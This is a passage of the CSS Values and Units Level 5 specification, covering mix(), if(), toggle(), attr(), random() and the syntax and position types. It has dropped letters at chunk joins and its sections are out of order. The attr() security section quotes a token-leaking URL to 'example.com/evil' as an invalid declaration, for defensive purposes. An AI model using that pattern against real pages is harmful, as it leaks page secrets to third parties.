erpolated value can’t actually be represented. Computes to: */transform: mix(90%, translate(calc(16px + 50%)), rotate(30deg));transform: mix(90% of ripple); The mix() notation is a whole-value.Additionally,if any of its whole-value arguments are not animatable,the notation is invalid. For example, the following declarations are invalid,and will be ignored: /* Invalid start value */color: mix(90%, #invalid, #F00);/* Function is mixed with other values */background: url(ocean) mix(10%, blue, yellow);/* animation-* is not animatable */animation-delay: mix(0%, 0s, 2s); 7. Miscellaneous Value Substituting Functions 7.1. Representing An Entire Property Value: the whole-value type Several functions defined in this specificationcan only be used as the "whole value" of a property.For example, background-position: toggle(50px 50px, center); is valid,but background-position: toggle(50px, center) 50px; is not.The whole-value production represents these values. All properties implicitly accept a whole-value as their entire value,just as they accept the CSS-wide keywords as their entire value. When used as a component value of a function, whole-value also represents any CSS valuenormally valid as the whole valueof the property in which it is used(including additional whole-value functions).However, some functions may restrictwhat a whole-value argument can include. 7.2. Selecting the First Supported Value: th

first-valid() notation CSS supports progressive enhancement with its forward-compatible parsing:authors can declare the same property multiple times in a style rule,using different values each time,and a CSS UA will automatically use the last one that it understandsand throw out the rest.This principle, together with the @supports rule,allows authors to write stylesheets that work wellin old and new UAs simultaneously. However, using var() (or similar substitution functions that resolve after parsing)thwarts this functionality;CSS UAs must assume any such property is valid at parse-time. The first-valid() functional notation inlines the fallback behaviorintrinsic to parsing declarations.Unlike most notations,it can accept any valid or invalid syntax in its arguments,and represents the first value among its argumentsthat is supported (parsed as valid) by the UAas the whole value of the property it’s used in.first-valid() = first-valid( declaration-value# ) If none of the arguments represent a valid value for the property,the property is invalid at computed-value time. first-valid() is a whole-value. Should this have a different name?We didn’t quite decide on it during the resolution to add this. Note: Despite effectively taking whole-values as its argument, first-valid() is instead defined to take declaration-valuesbecause, by definition,it’s intended to be used in cases where its values might be invalid for the de

laration it’s in. declaration-value imposes no contextual validity constraints on what it matches,unlike whole-value. 7.3. Conditional Value Selection: the if() notation The if() notation is an arbitrary substitution function that represents conditional values.Its argument consists of an ordered semi-colon–separated list of statements,each consisting of a conditionfollowed by a colonfollowed by a value.An if() notation representsthe value corresponding to the first condition in its argument list to be true;if no condition matches,then the if() notation represents an empty token stream. The if() notation syntax is defined as follows:if() = if( [ if-condition : declaration-value? ; ]* if-condition : declaration-value? ;? )if-condition = boolean-expr[ if-test ] | elseif-test = supports( [ supports-condition | ident : declaration-value ] ) | media( media-query ) | style( style-query ) The else keyword representsa condition that is always true. To resolve an if() function,return the declaration-value?associated with the first if-condition that is true;if none are true,return nothing (an empty token stream). Note: Unlike using @media/@supports/@container rules,which just ignore their contents when they’re falseand let the cascade determine what values otherwise apply,declarations with if() do not roll back the cascade if the conditions are false;any fallback values must be provided i

line. 7.4. Toggling Between Values: the toggle() notation The toggle() expression allows descendant elementsto cycle over a list of values instead of inheriting the same value. The following example makes em elements italic in general,but makes them normal if they’re inside something that’s italic: em { font-style: toggle(italic, normal); } The following example cycles markers for nested lists,so that a top level list has disc-shaped markers,but nested lists use circle, then square, then box,and then repeat through the list of marker shapes,starting again (for the 5th list deep) with disc. ul { list-style-type: toggle(disc, circle, square, box); } The syntax of the toggle() expression is:toggle() = toggle( whole-value# ) The toggle() notation is a whole-value.However, it is not allowed to be nested,nor may it contain attr() or calc() notations;declarations containing such constructs are invalid. The following toggle() examples are all invalid: background-position: 10px toggle(50px, 100px);/* toggle() must be the sole value of the property */list-style-type: toggle(disc, 50px);/* 50px isn’t a valid value of list-style-type */ To determine the computed value of toggle(),first evaluate each argument as if it were the sole value of the property in which toggle() is placedto determine the computed value that each represents,called Cn for the n-th argument to toggle().Then, compare the property

s inherited value with each Cn.For the earliest Cn that matches the inherited value,the computed value of toggle() is Cn+1.If the match was the last argument in the list,or there was no match,the computed value of toggle() is the computed value that the first argument represents. Note: This means that repeating values in a toggle() short-circuits the list.For example toggle(1em, 2em, 1em, 4em) will be equivalent to toggle(1em, 2em). Note: That toggle() explicitly looks at the computed value of the parent,so it works even on non-inherited properties.This is similar to the inherit keyword,which works even on non-inherited properties. Note: That the computed value of a property is an abstract set of values,not a particular serialization [CSS21],so comparison between computed values should always be unambiguous and have the expected result.For example,a Level 2 background-position computed valueis just two offsets, each represented as an absolute length or a percentage,so the declarations background-position: top center and background-position: 50% 0% produce identical computed values.If the "Computed Value" line of a property definition seems to define something ambiguous or overly strict,please provide feedback so we can fix it. If toggle() is used on a shorthand property,it sets each of its longhands to a toggle() valuewith arguments corresponding to what the longhand would have receivedhad each of the original toggle() arguments

been the sole value of the shorthand. For example, the following shorthand declaration: margin: toggle(1px 2px, 4px, 1px 5px 4px); is equivalent to the following longhand declarations:margin-top: toggle(1px, 4px, 1px);margin-right: toggle(2px, 4px, 5px);margin-bottom: toggle(1px, 4px, 4px);margin-left: toggle(2px, 4px, 5px); Note that, since 1px appears twice in the top margin and 4px appears twice in bottom margin,they will cycle between only two valueswhile the left and right margins cycle through three.In other words, the declarations above will yield the same computed valuesas the longhand declarations below:margin-top: toggle(1px, 4px);margin-right: toggle(2px, 4px, 5px);margin-bottom: toggle(1px, 4px);margin-left: toggle(2px, 4px, 5px); which may not be what was intended. 7.5. Custom Property References: the var() notation The var() notation substitutes the value of a custom property,see the CSS Custom Properties for Cascading Variables Module. [CSS-VARIABLES] 7.6. Inherited Value References: the inherit() notation Like the inherit keyword, the inherit() functional notation resolves to the computed value of a property on the parent.Rather than resolving to the value of the same property, however,it resolves to the tokenized computed value of the property specified as its first argument.Its second argument, if present, is used as a fallbackin case the first argument resolves to the guaranteed-invalid valu

. inherit() is an arbitrary substitution function whose syntax is defined as:inherit() = inherit( custom-property-name, declaration-value? ) To resolve an inherit() function,return the inherited value of the custom property specified by the first argument,and (if specified) the fallback specified by the second argument. Note: Future levels of CSS may allow specifying standard CSS properties in inherit();however because the tokenization of computed values is not fully standardized for all CSS properties,this feature is deferred from Level 5.Note that the computed value differs from the used value,and is not always the resolved value returned by getComputedStyle();thus even if inherit(width) were allowed,it would frequently return the keyword auto, not the used length. 7.7. Attribute References: the attr() notation The attr() function substitutes the value of an attribute on an element into a property,similar to how the var() functionsubstitutes a custom property value into a function.attr() = attr( attr-name syntax? , declaration-value?)attr-name = [ ident-token | ]? ident-token The arguments of attr() are: attr-name Gives the name of the attribute being referenced,similar to wq-name (from [SELECTORS-3])but without the possibility of a wildcard prefix. If no namespace is specified(just an identifier is given, like attr(foo)),the null namespace is implied.(This is usually what’s desired,as namespaced

attributes are rare.In particular, HTML and SVG do not contain namespaced attributes.)As with attribute selectors,the case-sensitivity of attr-name depends on the document language. If attr() is used in a property applied to an element,it references the attribute of the given name on that element;if applied to a pseudo-element,the attribute is looked up on the pseudo-element’s originating element. syntax Specifies how the attribute value is parsed into a CSS value.Values that fail to parse according to the syntaxtrigger fallback. Omitting the syntax argumentcauses the attribute’s literal valueto be treated as the value of a CSS string,with no CSS parsing performed at all(including CSS escapes, whitespace removal, comments, etc). Note: This is different from specifying a syntax of *,which still triggers CSS parsing(but with no requirements placed on itbeyond that it parse validly),and which substitutes the result of that parsing directly,rather than as a string value. declaration-value Specifies a fallback value for the attr(),which will be substituted instead of the attribute’s valueif the attribute is missingor fails to parse as the specified type. If the syntax argument is omitted,the fallback defaults to the empty string if omitted;otherwise, it defaults to the guaranteed-invalid value if omitted. If a property contains one or more attr() functions,and those functions are syntactically valid,the entire property’s g

ammar must be assumed to be valid at parse time.It is only syntax-checked at computed-value time,after attr() functions have been substituted. Note that the default value need not be of the type given.For instance, if the type required of the attribute by the author is number px,the default could still be auto,like in width: attr(size number px, auto);. This example shows the use of attr() to visually illustrate datain an XML file: stock wood length="12"/ wood length="5"/ metal length="19"/ wood length="4"//stockstock::before { display: block; content: "To scale, the lengths of materials in stock are:";}stock * { display: block; width: attr(length number em, 0px); height: 1em; border: solid thin; margin: 0.5em;}wood { background: orange url(wood.png);}metal { background: silver url(metal.png);} 7.7.1. Attribute Value Substitution: the attr() notation attr() is an arbitrary substitution function,similar to var(),and so is replaced with the value it represents (if possible)at computed value time;otherwise, it’s replaced with the guaranteed-invalid value,which will make its declaration invalid at computed-value time. To resolve an attr() function: Let el be the element that the style containing the attr() functionis being applied to.Let attr name be the attribute name specified in the function.Let syntax be the syntax specified in the function,or null if it was omitted.Let f

llback be the declaration-value? argument specified in the function,or the guaranteed-invalid value if it was omitted. If there is no attribute named attr name on el,return the guaranteed-invalid value and fallback.Otherwise, let attr value be that attribute’s value. If syntax is null,return a CSS string whose value is attr value. Note: No parsing or modification of any kind is performed on the value. Parse with a syntax attr value, with syntax and el.Return the result and fallback. 7.7.2. Security An attr() function can reference attributesthat were never intended by the page to be used for styling,and might contain sensitive information(for example, a security token used by scripts on the page). In general, this is fine.It is difficult to use attr() to extract information from a pageand send it to a hostile party,in most circumstances.The exception to this is URLs.If a URL can be constructed with the value of an arbitrary attribute,purely from CSS,it can easily send any information stored in attributesto a hostile party,if 3rd-party CSS is allowed at all. To guard against this,the values produced by an attr() are considered attr()-tainted,as are functions that contain an attr()-tainted value. Registered custom properties containing attr() maintain the attr()-taint on their attr()-tainted valuesacross var() substitution. Using an attr()-tainted value as or in a url makes a declaration

nvalid at computed-value time. For example,all of the following are invalid: background-image: src(attr(foo)); - can’t use it directly. background-image: image(attr(foo)) - can’t use it in other url-taking functions. background-image: src(string("http://example.com/evil?token=" attr(foo))) - can’t "launder" it thru another function. --foo: attr(foo); background-image(src(var(--foo))) (assuming that --foo is a registered custom property with string syntax) - can’t launder the value thru another property, either. However, using attr() for other purposes is fine,even if the usage is near a url: background-image: image("foo.jpg", attr(bgcolor color)) is fine;the attr() is providing a fallback color,and the url isn’t attr()-tainted. Note: Implementing this restrictionrequires tracking a dirty biton values constructed from attr() values,since they can be fully resolved into a stringvia registered custom properties,so you can’t rely on just examining the value expression.Note that non-string types can even trigger this,via functions like string() that can stringify other types of values: --foo: attr(foo number); background-image: src(string(var(--foo))) needs to be invalid as well. 8. Generating Random Values It is often useful to incorporate some degree of "randomness" to a design,either to make repeated elements on a page feel less static and identical,or just to

dd a bit of "flair" to a page without being distracting. The random() and random-item() functions(the random functions)allow authors to incorporate randomness into their page,while keeping this randomness predictable from a design perspective,letting authors decide whether a random value should be reused in several placesor be unique between instances. The exact random-number generation method is UA-defined.It should be the case that two distinct random valueshave no easily-detectable correlation,but this specification intentionally does not specify what that meansin terms of cryptographic strength.Authors must not rely on random functions for any purposes that depend on quality cryptography. 8.1. Generating a Random Numeric Value: the random() function The random() function is a math function that represents a random value between a minimum and maximum value,drawn from a uniform distribution,optionally limiting the possible values to a step between those limits:random() = random( random-caching-options? , calc-sum, calc-sum, [by calc-sum]? )random-caching-options = dashed-ident || per-element Its arguments are: random-caching-options The optional random-caching-options provides some control over whether a given random() functionresolves similarly or differently to other random()s on the page.See § 8.3 Generating/Caching Random Values: the random-caching-options value for details. By default, rand

m() resolves to a single value,shared by all elements using that style,and two random() functions with identical argumentswill resolve to the same random value. Providing a dashed-ident does nothing,but can make the argument lists distinctbetween two or more otherwise-identical random() functions,so they’ll generate distinct values. The per-element keyword causes the random() functionto generate a different value on each element the function is applied to,rather than resolving to a single value per usage in the stylesheet. calc-sum, calc-sum The two required calculations specify the minimum and maximum valuethe function can resolve to.Both limits are inclusive(the result can be the min or the max). If the maximum value is less than the minimum value,it behaves as if it’s equal to the minimum value. For example, random(100px, 300px) will resolve to a random length between 100px and 300px:it might be 100px, 300px, or any value between them like 234.5px. by calc-sum The final optional argumentspecifies a step value:the values the function can resolve toare further restricted to the form min + (N * step),where N is a non-negative integerchosen uniformly randomly from the possible valuesthat result in an in-range value. For example, random(100px, 300px, by 50px) can only resolve to 100px, 150px, 200px, 250px, or 300px;it will never return a value like 120px. While the minimum value is a

ways a possible result,the maximum value isn’t always,if it’s not also a multiple of the step from the minimum.For example, in random(100px, 300px, by 30px),the largest possible value it can resolve to is 280px,6 steps from the minimum value. Note that rounding issues might have an effect here:in random(100px, 200px, by 100px / 3) you’ll definitely get three possible values(100px, and approximately 133.33px and 166.67px),but whether 200px is possible depends on rounding precision.To be safe, you can put the maximum value slightly above where you expect the final step to land,like random(100px, 201px, by 100px / 3). As explained in the definition of round(),CSS has no "natural" precision for values,but the step value can be used to assign one. For example, random(100px, 500px, by 1px) restricts it to resolving only to whole px values; random(1, 10, by 1) is restricted to resolving only to integers;etc. Note: The definition of the step does not allowfor naively generating a random value in the rangeand then rounding it to the nearest step value,as that can result in the values not appearing with the same weights.For example, random(100px, 200px, by 50px) has to generate the three possible values each with a 1/3 chance;a naive rounding-based method will instead incorrectly generate 150px twice as often as the boundary values. All of the calculation arguments can resolve to any number, dimension, or percentag

but must have the same type, or else the function is invalid;the result will have the same type as the arguments. For example, random(50px, 100%, by 1em) is valid(assuming percentages are valid in the context this is used,and resolve to a length),as all three arguments resolve to a length. However, random(50px, 180deg) is invalid,as lengths and angles are not the same type. A random() function can be simplified as soon as its argument calculations can be simplified to numeric values. Note: This means that random() is usually resolvedby computed value time,and thus will inherit as a static numeric value.However, if the argument calculations aren’t resolveduntil used value time(such as if they include percentage valuesthat require layout information to resolve), inheritance will transfer the random() function itself.(This is no different, however, to the behavior of the percentages themselves,which would inherit as percentagesand thus might resolve to different values on the child elements.) At least in theory it should be fine to use random() in non-property contexts,so long as per-element isn’t specified;it’s well-defined what happens with @media (max-width: random(100px, 500px)) {...},for example.I suspect we want to disallow it, tho? 8.1.1. Argument Ranges In random(A, B, by C),if A or B is infinite,the result is NaN.If C is infinite,the result is A. (If C is zero or negative,the r

sult is A,but that falls out of the standard definition.) Note: As usual for math functions,if any argument calculation is NaN,the result is NaN. 8.2. Picking a Random Item From a List: the random-item() function The random-item() functionresolves to a random itemfrom among its list of items.random-item() = random-item( random-caching-options , [ declaration-value? ]# ) The required random-caching-options is interpreted identically to random().(See § 8.3 Generating/Caching Random Values: the random-caching-options value for details.) Like random(),the dashed-ident can be used to force similar random-item() functionsto generate distinct random values,and per-element causes it to resolve to a distinct value on each element. Aside from these,the grouping of random-item() functions as "identical"is much simpler:all that matters is the number of arguments. That is, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3) will always resolve to the same argument index:either red and 1, or blue and 2, or green and 3.This allows coordination between groups of propertiesthat all want to use a random set of values. On the other hand, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3, 4) will have no connection to each other;any of the 12 possible combinations can occur. Note: The random-caching-options argument is required in random-item(),but optional in random(),

tboth for parsing reasons(it’s impossible to tell whether random-item(--foo, --bar, --baz) has three declaration-value argumentsor two and a random-caching-options argument),and because accidentally associating the random generation of random-item() functions togetheris much easier to do accidentally,since only the number of arguments is used to distinguish instances. The remaining arguments are arbitrary sequences of CSS values.The random-item() function resolves to one of these sequences,chosen uniformly at random. The random-item() function is an arbitrary substitution function,like var(). That is, if you use random-item(): So long as random-item() itself (and any other arbitrary substitution functions)is syntactically valid,the entire property is assumed to be valid at parse time. random-item() is substituted with whatever value it resolves toat computed value timewhen you’d substitute a var(),so children all inherit the same resolved value. If the substituted value ends up making the property invalid,the property’s value becomes the guaranteed-invalid value. Define arbitrary substitution function,probably over in Variables,since we have several upcoming functions leaning on this functionality. Since random-item() is var()-like,we probably want to restrict it to only be usable in properties.(This is likely something we want to apply to all such functions.)Tho random() is a fundament

lly different kind of value,we probably want to restrict it as well,for thematic consistency. 8.3. Generating/Caching Random Values: the random-caching-options value In a programming language like JavaScript,there’s a clear temporal ordering to code,so you can tell exactly when something like a call to Math.random() is evaluated.You can also store the results in a variable,making it clear when you’re reusing a single random value in multiple places,versus using a distinct random value in each location. CSS, on the other hand, is a declarative language(code is not "executed" in any particular order,nor is there any control over how many times something is "executed");it makes it very easy to apply identical styles to multiple elementsbut difficult to specify distinct values for each of them(making it unclear whether a property using random() is meant to resolve to the same value on each element it’s applied toor to distinct values on each);and it has very limited "variable" functionality(making it difficult to intentionally reuse a particular randomly-generated value in several places). To resolve these issues,the random() and random-item() functions are defined to generate random valuesunder the following caching semantics: Each instance of random() or random-item() in a stylesheetspecifies a random-caching key.Two instances of either function must resolve to identical valuesif their random-caching keys are identical;t

ey must resolve to distinct valuesif they’re different. ("Distinct" here means generated by a fresh random operation;this might coincidentally result in the same value as another random operation.) For random(),the random-caching key is a tuple of: The used value of the minimum calculation. The used value of the maximum calculation. The used value of the step calculation, if present,or null otherwise. The dashed-ident part of the random-caching-options, if present,or null otherwise. If per-element is specified in the random-caching-options,a unique value per element or pseudo-element the function appears in. For random-item(),the random-caching key is a tuple of: The number of arguments to the function. The dashed-ident part of the random-caching-options, if present,or null otherwise. If per-element is specified in the random-caching-options,a unique value per element or pseudo-element the function appears in. The "unique value per element or pseudo-element" must have the same lifetimeas a JavaScript reference to the element(or to the originating element + sufficient additional info to uniquely identify the pseudo-element).Elements in separate documents(including across refreshes of the same page,which produces distinct documents with distinct elements) should have distinct unique values.(This is not strictly re

uired,to allow for pseudo-random generation of these values,but uniqueness should be likely enoughthat authors cannot depend on elements having the same values across documents.) Additionally, the random generation method should generate distinct values for the same operationwhen invoked on different documents(including refreshes of the same page). For example, in the following stylesheet: .random-square { width: random(100px, 500px); height: random(100px, 500px);} The random-caching keys for both functions are identical: (100px, 500px, null, null, null).This means that both will resolve to the exact same value,guaranteeing a square elementwith a size somewhere between 100px and 500px.Additionally, every .random-square elementwill have the same size. On other hand, in this stylesheet:.random-rect { width: random(100px, 500px); height: random(--x, 100px, 500px);} The random-caching keys are distinct between the two functions:the function in width has (100px, 500px, null, null, null),while the function in height has (100px, 500px, null, --x, null). This means the two functions will resolve to distinct random values,making it very unlikely for the element to be square.However, every element matching .random-rect will still have the same random size. Changing any aspect of the function also alters this key.The following two declarations are similarly distinct,resulting in the width and height havi

g no connection to each other:.random-rect-2 { width: random(100px, 500px); height: random(100px, 500px, by 50px);} But so long as the used values end up identical,two functions that look distinct might end up identical.For example, in the following code:.random-square-2 { font-size: 16px; width: random(160px, 320px); height: random(10em, 20em);} The two functions superficially look different,but after the lengths are fully resolvedthey end up with identical random-caching keys;each is (160px, 320px, null, null, null),so actually the widths and heights will end up always identical. By default, each instance of a random() function in a stylesheetessentially resolves to a static value,which is then shared by every element that property applies to.This behavior can be changed with the per-element keyword. For example, in:.foo { width: random(100px, 500px); } Multiple elements matching .foo will end up with the same random width. But in:.foo { width: random(per-element, 100px, 500px); } Every element matching .foo will get its own unique width. Note that this causes the value to be unique per element,not per value necessarily.For example, in:.random-squares { width: random(per-element, 100px, 500px); height: random(per-element, 100px, 500px);} Every element matching .random-squares will get a distinct random value,but that value will be the same for width and height on a given element,

aking the element square.This is because in both propertiesthe random-caching key is (100px, 500px, null, null, [unique value for the element]),so both functions will resolve to the same length on a single element. This makes random values in custom properties act more predictably.The preceding code could also be written as:.foo { --size: random(per-element, 100px, 500px); width: var(--size); height: var(--size);} 9. Tree Counting Functions: the sibling-count() and sibling-index() notations The sibling-count() functional notation represents,as an integer,the total number of child elements in the parent of the element on which the notation is used. The sibling-index() functional notation represents,as an integer,the index of the elementon which the notation is usedamong the children of its parent.Like :nth-child(), sibling-index() is 1-indexed. Note: The counter() function can provide similar abilities as sibling-index(),but returns a string rather than an integer. When used on a pseudo-element,these both resolve as if specifiedon its ultimate originating element. Note: Like the rest of CSS (other than selectors), sibling-count() and sibling-index() operate on the flat tree. Note: These functions may, in the future,be extended to accept an of selector argument,similar to :nth-child(),to filter on a subset of the children

Introduction This is a diff spec against CSS Values and Units Level 4. 1.1. Module Interactions This module extends [CSS-VALUES-4] which replaces and extends the data type definitions in [CSS21] sections 1.4.2.1, 4.3,and A.2. 2. Textual Data Types See CSS Values 4 § 4 Textual Data Types. 3. Value Definition Syntax See CSS Values 4 § 2 Value Definition Syntax. Additionally, Boolean combinations of a conditional notation.These are written using the boolean-expr[] notation,and represent recursive expressions of boolean logicusing keywords and parentheses,applied to the grammar specified in brackets,e.g. boolean-expr[ ( <media-feature> ) ] to express media queries. 3.1. Functional Notation Definitions See CSS Values 4 § 2.6 Functional Notation Definitions. 3.1.1. Commas in Function Arguments Functional notation often uses commasto separate parts of its internal grammar.However, some functions(such as mix())allow values that, themselves,can contain commas.These values(currently whole-value, declaration-value, and any-value)are comma-containing productions. To accommodate these sorts of grammars unambiguously,the comma-containing productions can be optionally wrapped in curly braces {}.These braces are syntactic, not part of the actual value.Specifically: A comma-containing production can either start with a "{" token, or not. If it does not start with

"{" token,then it cannot contain commas or {} blocks,in addition to whatever specific restrictions it defines for itself.(The production stops parsing at that point,so the comma or {} block is matched by the next grammar term instead;probably the function’s own argument-separating comma.) If it does start with a "{" token,then the production matches just the {} block that the "{" token opens.It represents the contents of that block,and applies whatever specific restrictions it defines for itselfto those contents,ignoring the {} block wrapper. For example, the grammar of the random-item() function is: random-item( random-caching-options, [declaration-value?]# ) The # indicates comma-separated repetitions,so randomly choosing between three keywordswould be written as normal for functions,like:font-family: random-item(--x, serif, sans-serif, monospace); However, sometimes the values you want to choose betweenneed to include commas.When this is the case,wrapping the values in {}allows their commas to be distinguishedfrom the function’s argument-separating commas:font-family: random-item(--x, {Times, serif}, {Arial, sans-serif}, {Courier, monospace}); This randomly chooses one of three font-family lists:either Times, serif, or Arial, sans-serif, or Courier, monospace. This is not all-or-nothing;you can use {} around some arguments that need it,while leaving others bare when they don’t need it.You are

also allowed to use {} around a value when it’s not strictly required.For example:font-family: random-item(--x, {Times, serif}, sans-serif, {monospace}); This represents choosing between three font-family lists:either Times, serif, or sans-serif, or monospace. However, this {}-wrapping is only allowed for some function arguments—​those defined as comma-containing productions.It’s not valid for any other productions;if you use {} around other function arguments,it’ll just fail to match the function’s grammarand become invalid.For example, the following is invalid:background-image: linear-gradient(to left, {red}, magenta); Note: Because {} wrappers are allowed even when not explicitly required,they can be used defensively around valueswhen the author isn’t sure if they’ll end up containing commas or not,due to arbitrary substitution functions like var().For example, font-family: random-item(--x, {var(--list1)}, monospace) will work correctlyregardless of whether the --list1 custom propertycontains a comma-separated list or not. Functional notations are serialized without {} wrappers whenever possible. The following generic productions are comma-containing productions: any-value whole-value declaration-value For legacy compat reasons,the declaration-value defined the fallback value for var() is a non-strict comma-containing production.It ignores the rules restricting what it can co

tainwhen it does not start with a "{" token:it is allowed to contain commas and {} blocks.It still follows the standard comma-containing production ruleswhen it does start with a "{" token, however:the fallback is just the contents of the {} block,and doesn’t include the {} wrapper itself. Other contexts may define that they use non-strict comma-containing productions,but it should be avoided unless necessary. 3.2. Boolean Expression Multiplier boolean-expr[] Several contexts(such as @media, @supports, if(), ...)specify conditions,and allow combining those conditions with boolean logic (and/or/not/grouping).Because they use the same non-trivial recursive syntax structure,the special boolean-expr[] production represents this pattern generically. The boolean-expr[] notation wraps another value type in the square brackets within it,e.g. boolean[ test ],and represents that value type alone as well asboolean combinationsusing the not, and, and or keywordsand grouping parenthesis.It is formally equivalent to:boolean-expr[ test ] = not boolean-expr-group | boolean-expr-group [ [ and boolean-expr-group ]* | [ or boolean-expr-group ]* ]boolean-expr-group = test | ( boolean-expr[ test ] ) | general-enclosed The boolean-expr[] production represents a true, false, or unknown value.Its value is resolved using 3-value Kleen

logic,with top-level unknown values(those not directly nested inside the grammar of another boolean-expr[])resolving to false unless otherwise specified;see Appendix B: Boolean Logic for details. For example, the @container rule allows a wide variety of tests:including size queries, style queries, and scroll-state queries.All of these are arbitrarily combinable with boolean logic.Using boolean-expr[], the grammar for an @container querycould be written as: container-query = boolean-expr[ cq-test ]cq-test = (size-query) | style( style-query ) | scroll-state( scroll-state-query )size-query = boolean-expr[ ( size-feature ) ] | size-featurestyle-query = boolean-expr[ ( style-feature ) ] | style-featurescroll-state-query = boolean-expr[ ( scroll-state-feature ) ] | scroll-state-feature The general-enclosed branch of the logic allows for future compatibility—​unless otherwise specified new expressions in an older UAwill be parsed and considered “unknown”,rather than invalidating the production.For consistency with that allowance,the test term in a boolean-expr[] should be defined to match general-enclosed. 3.3. Specifying CSS Syntax in CSS: the syntax type Some features in CSS,such as the attr() functionor registered custom properties,allow you to specify how another value is meant to be parsed.This is declared via the syntax production,which resembles a limited form of the CSS va

ue definition syntax used in specifications to define CSS features,and which represents a syntax definition:syntax = * | syntax-component [ syntax-combinator syntax-component ]* | syntax-stringsyntax-component = syntax-single-component syntax-multiplier? | transform-list syntax-single-component = syntax-type-name | identsyntax-type-name = angle | color | custom-ident | image | integer | length | length-percentage | number | percentage | resolution | string | time | url | transform-functionsyntax-combinator = |syntax-multiplier = [ # | + ]syntax-string = string A syntax-component consists of eithera syntax-type-name between (angle brackets),which maps to one of the supported syntax component names,or an ident, which represents any keyword.Additionally,a syntax-component may contain a multiplier,which indicates a list of values. Note: This means that length and length are two different types:the former describes a length,whereas the latter describes a keyword length. Multiple syntax-components may be combined with a | delim-token,causing the syntax components to be matchedagainst a valuein the specified order. percentage | number | auto The above, when parsed as a syntax,would accept percentage values, number values,as well as the keyword auto. red | color The syntax def

nition resulting from the above syntax,when used as a grammar for parsing,would match an input red as an identifier,but would match an input blue as a color. The * delim-token represents the universal syntax definition. The transform-list productionis a convenience form equivalent to transform-function+. Note that transform-list may notbe followed by a syntax-multiplier. Whitespace is not allowedbetween the angle bracket delim-tokens ( )and the syntax-type-name they enclose,nor is whitespace allowed to precede a syntax-multiplier. Note: The whitespace restrictions also apply to transform-list. A syntax-string is a string whose value successfully parses as a syntax,and represents the same value as that syntax would. Note: syntax-string mostly exists for historical purposes;before syntax was defined,the @property rule used a string for this purpose. 3.3.1. Parsing as syntax The purpose of a syntax is usually to specify how to parse another value(such as the value of a registered custom property,or an attribute value in attr()).However, the generic parse something according to a CSS grammar algorithmreturns an unspecified internal structure,since parse results might be ambiguousand need further massaging. To avoid these issues and get a well-defined result,use parse with a syntax: To parse with a syntax given a string or list or component values values,a syntax value syntax,and optionally an

element el for context,perform the following steps.It returns either CSS values,or the guaranteed-invalid value. Parse a list of component values from values,and let raw parse be the result. If el was given, substitute arbitrary substitution functions in raw parse,and set raw parse to that result. parse values according to syntax,with a * value treated as declaration-value?,and let parsed result be the result.If syntax used a | combinator,let parsed result be the parse result from the first matching clause. If parsed result is failure,return the guaranteed-invalid value. Assert: parsed result is now a well-defined list of one or more CSS values,since each branch of a syntax defines an unambiguous parse result(or the * syntax is unambiguous on its own). Return parsed result. Note: This algorithm does not resolved the parsed valuesinto computed values;the context in which the value is used will usually do that already,but if not,the invoking algorithm will need to handle that on its own. 4. Extensions to Level 4 Value Types See CSS Values and Units Level 4. 4.1. Resource Locators: the url type See CSS Values 4 § 4.5 Resource Locators: the url type. 4.1.1. Request URL Modifiers request-url-modifiers are url-modifiersthat affect the url’s resource request by applying associated URL request modifier steps.See CSS Values 4 § 4.5.4 URL Processing Model. This specificati

n defines the following request-url-modifiers:request-url-modifier = crossorigin-modifier | integrity-modifier | referrerpolicy-modifiercrossorigin-modifier = crossorigin(anonymous | use-credentials)integrity-modifier = integrity(string)referrerpolicy-modifier = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) crossorigin-modifier = crossorigin(anonymous | use-credentials) The URL request modifier steps for this modifier given request req are: Set requests mode to "cors". If the given value is use-credentials,set requests credentials mode to "include". integrity-modifier = integrity(string) The URL request modifier steps for this modifier given request req are to set requests integrity metadata to the given string. referrerpolicy-modifier = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) The URL request modifier steps for this modifier given request req are to set requests referrer policy to the ReferrerPolicy that matches the given value. To apply request modifiers from URL value given a request req and a url url,call the URL request modifier steps for url’s request-url-modifiers in sequencegiven req. 4.2. 2D Po

itioning: the position type The position value specifies the positionof an alignment subject (e.g. a background image)inside an alignment container (e.g. its background positioning area)as a pair of offsets between the specified edges(defaulting to the left and top).Its syntax is:position = position-one | position-two | position-fourposition-one = [ left | center | right | top | bottom | x-start | x-end | y-start | y-end | block-start | block-end | inline-start | inline-end | length-percentage]position-two = [ [ left | center | right | x-start | x-end ] && [ top | center | bottom | y-start | y-end ]| [ left | center | right | x-start | x-end | length-percentage ] [ top | center | bottom | y-start | y-end | length-percentage ]| [ block-start | center | block-end ] && [ inline-start | center | inline-end ]| [ start | center | end ]{2}]position-four = [ [ [ left | right | x-start | x-end ] length-percentage ] && [ [ top | bottom | y-start | y-end ] length-percentage ]| [ [ block-start | block-end ] length-percentage ] && [ [ inline-start | inline-end ] length-percentage ]| [ [ start | end ] length-percentage ]{2}] If only one value is specified (position-one),the second value is assumed to be center. If two values are given (position-two),a length-percentage as the first value representsthe horizontal position as the offset betweenthe left edges of the alignment subject and alignment container,and

length-percentage as the second value representsthe vertical position as an offset between their top edges. If both keywords are one of start or end,the first one represents the block axis and the second the inline axis. Note: A pair of axis-specific keywords can be reordered,while a combination of keyword and length or percentage cannot.So center left or inline-start block-end is valid,while 50% left is not. start and end aren’t axis-specific,so start end and end start represent two different positions. If four values are given (position-four)then each length-percentage represents an offset betweenthe edges specified by the preceding keyword.For example, background-position: bottom 10px right 20px represents a 10px vertical offset up from the bottom edgeand a 20px horizontal offset leftward from the right edge. Positive values represent an offset inward from the edge of the alignment container.Negative values represent an offset outward from the edge of the alignment container. The following declarations give the stated (horizontal, vertical)offsets from the top left corner: background-position: left 10px top 15px; /* 10px, 15px */background-position: left top ; /* 0px, 0px */background-position: 10px 15px; /* 10px, 15px */background-position: left 15px; /* 0px, 15px */background-position: 10px top ; /* 10px, 0px */ positions can also be relative to other corners than

